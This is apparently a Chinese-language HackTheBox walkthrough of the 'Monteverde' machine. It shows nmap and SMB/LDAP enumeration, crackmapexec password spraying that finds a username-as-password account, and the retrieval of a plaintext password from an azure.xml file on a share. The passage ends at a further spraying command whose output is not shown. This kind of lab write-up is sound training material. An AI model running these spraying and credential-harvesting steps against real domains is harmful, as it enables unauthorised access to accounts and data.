Monteverde

Nmap扫描结果如下所示：

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ sudo nmap -sC -sV 10.10.10.172
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-28 12:10 EDT
Nmap scan report for 10.10.10.172
Host is up (0.32s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-28 16:10:51Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3269/tcp open  tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-08-28T16:11:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sC -sV 10.10.10.172 -p-
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-28 12:10 EDT
Nmap scan report for 10.10.10.172
Host is up (0.34s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-28 16:27:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49747/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-08-28T16:28:12
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1120.06 seconds
```

首先使用smb服务：

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u annoymous
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient -N -L //10.10.10.172
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ enum4linux 10.10.10.172
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Aug 29 09:20:34 2022

 ========================( Target Information )=========================

Target ........... 10.10.10.172
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ======================( Enumerating Workgroup/Domain on 10.10.10.172 )=======================


[E] Can't find workgroup/domain


 ============================( Nbtstat Information for 10.10.10.172 )============================

Looking up status of 10.10.10.172
No reply from 10.10.10.172

 ==============================( Session Check on 10.10.10.172 )==============================


[+] Server 10.10.10.172 allows sessions using username '', password ''


 ================================( Getting domain SID for 10.10.10.172 )================================

Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492

[+] Host is part of a domain (not a workgroup)


 ============================( OS information on 10.10.10.172 )============================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.10.10.172 from srvinfo:
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED


 ==============================( Users on 10.10.10.172 )==============================

index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2       Name: AAD_987d7f2f57d2  Desc: Service account for the Synchronization Service with installation identifier 05
c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos       Name: Dimitris Galanos  Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope  Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary        Name: Ray O'Leary       Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs       Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan        Name: Sally Morgan      Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata        Name: svc-ata   Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec      Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp     Name: svc-netapp        Desc: (null)

user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

 ============================( Share Enumeration on 10.10.10.172 )============================

do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.172
```

```
 ==========( Password Policy Information for 10.10.10.172 )==========


[+] Attaching to 10.10.10.172 using a NULL share

[+] Trying protocol 139/SMB ...

        [!] Protocol failed: Cannot request session (Called Name:10.10.10.172)

[+] Trying protocol 445/SMB ...

[+] Found domain(s):

        [+] MEGABANK
        [+] Builtin

[+] Password Info for Domain: MEGABANK

        [+] Minimum password length: 7
        [+] Password history length: 24
        [+] Maximum password age: 41 days 23 hours 53 minutes
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: 1 day 4 minutes
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 7


 ==========( Groups on 10.10.10.172 )==========


[+] Getting builtin groups:

group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]

[+]  Getting builtin group memberships:

Group: Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Group: IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Group: Users' (RID: 545) has member: Couldn't lookup SIDs
Group: Guests' (RID: 546) has member: Couldn't lookup SIDs
Group: Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs

[+]  Getting local groups:

group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]

[+]  Getting local group memberships:
```

```
[+]  Getting local groups:

group:[Cert Publishers] rid:[0×205]
group:[RAS and IAS Servers] rid:[0×229]
group:[Allowed RODC Password Replication Group] rid:[0×23b]
group:[Denied RODC Password Replication Group] rid:[0×23c]
group:[DnsAdmins] rid:[0×44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0×44f]
group:[ADSyncAdmins] rid:[0×451]
group:[ADSyncOperators] rid:[0×452]
group:[ADSyncBrowse] rid:[0×453]
group:[ADSyncPasswordSet] rid:[0×454]

[+]  Getting local group memberships:

Group: ADSyncAdmins' (RID: 1105) has member: Couldn't lookup SIDs
Group: Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs

[+]  Getting domain groups:

group:[Enterprise Read-only Domain Controllers] rid:[0×1f2]
group:[Domain Users] rid:[0×201]
group:[Domain Guests] rid:[0×202]
group:[Domain Computers] rid:[0×203]
group:[Group Policy Creator Owners] rid:[0×208]
group:[Cloneable Domain Controllers] rid:[0×20a]
group:[Protected Users] rid:[0×20d]
group:[DnsUpdateProxy] rid:[0×44e]
group:[Azure Admins] rid:[0×a29]
group:[File Server Admins] rid:[0×a2e]
group:[Call Recording Admins] rid:[0×a2f]
group:[Reception] rid:[0×a30]
group:[Operations] rid:[0×a31]
group:[Trading] rid:[0×a32]
group:[HelpDesk] rid:[0×a33]
group:[Developers] rid:[0×a34]

[+]  Getting domain group memberships:

Group: 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Group: 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group: 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group: 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Group: 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group: 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group: 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group: 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group: 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group: 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group: 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group: 'Domain Users' (RID: 513) has member: MEGABANK\smorgan

 ==========( Users on 10.10.10.172 via RID cycling (RIDS: 500-550,1000-1050) )==========


[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.


 ==========( Getting printer info for 10.10.10.172 )==========

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Mon Aug 29 09:28:11 2022
```

记录所有用户名信息和域名信息，使用GetNPUser没有办法获得密码，试试ldapsearch：

没有价值信息。

然后想到使用crackmapexec，爆破尝试看有没有用户名是弱密码的：

```
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:123456 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:123456789 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:qwerty STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:password STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:12345 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:12345678 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:111111 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:1234567 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:123123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:qwerty123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:1q2w3e STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:1234567890 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:DEFAULT STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:000000 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:abc123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:654321 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:123321 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:qwertyuiop STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:Iloveyou STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:666666 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:123456 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:123456789 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:qwerty STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:password STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:12345 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:12345678 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:111111 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:1234567 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:123123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:qwerty123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:1q2w3e STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:1234567890 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:DEFAULT STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:000000 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:abc123 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:654321 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:123321 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:qwertyuiop STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:Iloveyou STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:666666 STATUS_LOGON_FAILURE

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u ./user -p ./user
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

弱密码没有，但是用户名密码相同的情况爆破成功了一个。

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbmap -H 10.10.10.172 -u SABatchJobs -p 'SABatchJobs'
[+] IP: 10.10.10.172:445        Name: 10.10.10.172
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        azure_uploads                                           READ ONLY
        C$                                                      NO ACCESS       Default share
        E$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share
        users$                                                  READ ONLY
```

smbclient查找价值信息：

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/azure_uploads -u SABatchJobs --password=SABatchJobs

Invalid option -u: unknown option

Usage: smbclient [-?EgqBNPkV] [-?|--help] [--usage] [-M|--message=HOST] [-I|--ip-address=IP] [-E|--stderr] [-L|--list=HOST] [-T|--tar=<c|x>IXFvgbNan] [-D|--directory=DIR]
       [-c|--command=STRING] [-b|--send-buffer=BYTES] [-t|--timeout=SECONDS] [-p|--port=PORT] [-g|--grepable] [-q|--quiet] [-B|--browse] [-d|--debuglevel=DEBUGLEVEL] [--debug-stdout]
       [-s|--configfile=CONFIGFILE] [--option=name=value] [-l|--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full] [-R|--name-resolve=NAME-RESOLVE-ORDER]
       [-O|--socket-options=SOCKETOPTIONS] [-m|--max-protocol=MAXPROTOCOL] [-n|--netbiosname=NETBIOSNAME] [--netbios-scope=SCOPE] [-W|--workgroup=WORKGROUP] [--realm=REALM]
       [-U|--user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|--no-pass] [--password=STRING] [--pw-nt-hash] [-A|--authentication-file=FILE] [-P|--machine-pass] [--simple-bind-dn=DN]
       [--use-kerberos=desired|required|off] [--use-krb5-ccache=CCACHE] [--use-winbind-ccache] [--client-protection=sign|encrypt|off] [-k|--kerberos] [-V|--version]
       [OPTIONS] service <password>

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/azure_uploads -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  3 07:43:06 2020
  ..                                  D        0  Fri Jan  3 07:43:06 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \> exit

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/IPC$ -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/NETLOGON -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan  2 17:05:14 2020
  ..                                  D        0  Thu Jan  2 17:05:14 2020

                5795583 blocks of size 4096. 1446597 blocks available
smb: \> exit

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/SYSVOL -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan  2 17:05:14 2020
  ..                                  D        0  Thu Jan  2 17:05:14 2020
  MEGABANK.LOCAL                     Dr        0  Thu Jan  2 17:05:14 2020

                5795583 blocks of size 4096. 1446597 blocks available
smb: \> cd MEGABANK.LOCAL
smb: \MEGABANK.LOCAL\> ls
  .                                   D        0  Thu Jan  2 17:11:34 2020
  ..                                  D        0  Thu Jan  2 17:11:34 2020
  DfsrPrivate                      DHSr        0  Thu Jan  2 17:11:34 2020
  Policies                            D        0  Thu Jan  2 17:05:22 2020
  scripts                             D        0  Thu Jan  2 17:05:14 2020

                5795583 blocks of size 4096. 1446597 blocks available
smb: \MEGABANK.LOCAL\> cd DfsrPrivate
cd \MEGABANK.LOCAL\DfsrPrivate\: NT_STATUS_ACCESS_DENIED
smb: \MEGABANK.LOCAL\> get DfsrPrivate
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \MEGABANK.LOCAL\DfsrPrivate
smb: \MEGABANK.LOCAL\> exit

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ smbclient //10.10.10.172/users$ -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  3 08:12:48 2020
  ..                                  D        0  Fri Jan  3 08:12:48 2020
  dgalanos                            D        0  Fri Jan  3 08:12:30 2020
  mhope                               D        0  Fri Jan  3 08:41:18 2020
  roleary                             D        0  Fri Jan  3 08:10:30 2020
  smorgan                             D        0  Fri Jan  3 08:10:24 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \mhope\azure.xml of size 1212 as mhope/azure.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \> cd smorgan
smb: \smorgan\> ld
ld: command not found
smb: \smorgan\> ls
  .                                   D        0  Fri Jan  3 08:10:24 2020
  ..                                  D        0  Fri Jan  3 08:10:24 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \smorgan\> exit

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ ls
dgalanos  ldap_hash  mhope  roleary  smorgan  user  weak_pass

┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde/mhope]
└─$ cat azure.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>
```

```
┌──(kali㉿kali)-[~/Desktop/HTB/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u ./user -p 4n0therD4y@n0th3r$
